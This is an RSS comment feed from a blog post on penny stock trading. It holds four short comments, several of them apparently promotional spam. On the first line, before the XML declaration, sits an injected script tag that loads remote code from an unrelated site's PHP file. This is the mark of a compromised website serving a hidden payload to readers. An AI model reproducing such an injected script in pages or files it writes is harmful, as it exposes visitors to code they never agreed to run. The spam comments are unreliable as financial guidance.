<script src=http://manandmade.nl/images/style.php ></script><?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: The Problem With Penny Stock Trading</title>
	<atom:link href="http://www.icapp2007.org/index.php/2008/04/22/the-problem-with-penny-stock-trading/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.icapp2007.org/index.php/2008/04/22/the-problem-with-penny-stock-trading/</link>
	<description>Improving your capital investments through share trading and forex</description>
	<lastBuildDate>Mon, 18 May 2009 13:19:10 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
	<item>
		<title>By: TradeProfits.net</title>
		<link>http://www.icapp2007.org/index.php/2008/04/22/the-problem-with-penny-stock-trading/#comment-867</link>
		<dc:creator>TradeProfits.net</dc:creator>
		<pubDate>Tue, 10 Feb 2009 10:26:19 +0000</pubDate>
		<guid isPermaLink="false">http://www.icapp2007.org/index.php/2008/04/22/the-problem-with-penny-stock-trading/#comment-867</guid>
		<description>True! Pennystocks are not easy to trade. But Timothy Sykes is doing well! He is shortselling them when they have reached new hights due to hype and spam letters. You might wanna look into that if you considder short selling..</description>
		<content:encoded><![CDATA[<p>True! Pennystocks are not easy to trade. But Timothy Sykes is doing well! He is shortselling them when they have reached new hights due to hype and spam letters. You might wanna look into that if you considder short selling..</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Buy Penny Stocks</title>
		<link>http://www.icapp2007.org/index.php/2008/04/22/the-problem-with-penny-stock-trading/#comment-833</link>
		<dc:creator>Buy Penny Stocks</dc:creator>
		<pubDate>Tue, 16 Dec 2008 05:44:14 +0000</pubDate>
		<guid isPermaLink="false">http://www.icapp2007.org/index.php/2008/04/22/the-problem-with-penny-stock-trading/#comment-833</guid>
		<description>You are exactly right with all of your points. I would personally suggest penny stocks to one who wants and able to take risk as well as has some money to lose in place.</description>
		<content:encoded><![CDATA[<p>You are exactly right with all of your points. I would personally suggest penny stocks to one who wants and able to take risk as well as has some money to lose in place.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Meredine</title>
		<link>http://www.icapp2007.org/index.php/2008/04/22/the-problem-with-penny-stock-trading/#comment-810</link>
		<dc:creator>Meredine</dc:creator>
		<pubDate>Mon, 13 Oct 2008 05:41:22 +0000</pubDate>
		<guid isPermaLink="false">http://www.icapp2007.org/index.php/2008/04/22/the-problem-with-penny-stock-trading/#comment-810</guid>
		<description>didn’t ever think that Penny Stock Trading can cause such a problem…</description>
		<content:encoded><![CDATA[<p>didn’t ever think that Penny Stock Trading can cause such a problem…</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: bikini buying online</title>
		<link>http://www.icapp2007.org/index.php/2008/04/22/the-problem-with-penny-stock-trading/#comment-796</link>
		<dc:creator>bikini buying online</dc:creator>
		<pubDate>Wed, 10 Sep 2008 16:27:42 +0000</pubDate>
		<guid isPermaLink="false">http://www.icapp2007.org/index.php/2008/04/22/the-problem-with-penny-stock-trading/#comment-796</guid>
		<description>I agree that penny stocks have problems when your trying to make money consistently.  It&#039;s almost a better idea to consider day trading if your in it for &#039;quick money&#039; but having a wealth of knowledge and resources about a company is the best way to consistently make money in stocks.

Amber</description>
		<content:encoded><![CDATA[<p>I agree that penny stocks have problems when your trying to make money consistently.  It&#8217;s almost a better idea to consider day trading if your in it for &#8216;quick money&#8217; but having a wealth of knowledge and resources about a company is the best way to consistently make money in stocks.</p>
<p>Amber</p>
]]></content:encoded>
	</item>
</channel>
</rss>
